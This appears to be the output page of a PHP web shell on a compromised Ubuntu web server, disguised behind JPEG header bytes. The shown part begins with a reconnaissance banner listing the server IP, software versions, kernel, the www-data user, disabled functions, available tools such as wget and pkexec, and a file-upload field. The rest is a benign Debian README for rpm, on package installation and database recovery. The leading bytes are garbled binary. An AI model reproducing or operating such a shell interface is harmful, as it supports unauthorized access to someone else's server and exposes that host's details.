????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 3.148.197.73 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/share/doc/rpm/ |
Upload File : |
Installing packages =================== Please do not use rpm directly to install packages. Install the alien package and use the alien command to convert/install a rpm package using dpkg. Use of rpm to install packages is verbosely complaining on Debian systems (you can disable these warnings by --force-debian). Fixing database after upgrade ============================= If you rpm database is non empty, you might face problems after upgrading because different libdb version is being used. To recover content of old database use following steps: 1. Install corresponding db*-util package. At time writing it is db4.8-util (the version should match libdb version which rpm uses). sudo apt-get install db4.8-util 2. Go to the directory with your rpm database: cd ~/.rpmdb 3. Recover the database using db*_recover. db4.8_recover ./ 4. Rebuild rpm database. rpm --dbpath `pwd` --rebuilddb 5. Verify that the database is correct. rpm --dbpath `pwd` -qa Source packages location ======================== If you are using rpm to build rpm packages, or unpack source rpms, note that on Debian systems, rpm uses /usr/src/rpm/, instead of /usr/src/redhat/ or /usr/src/packages/.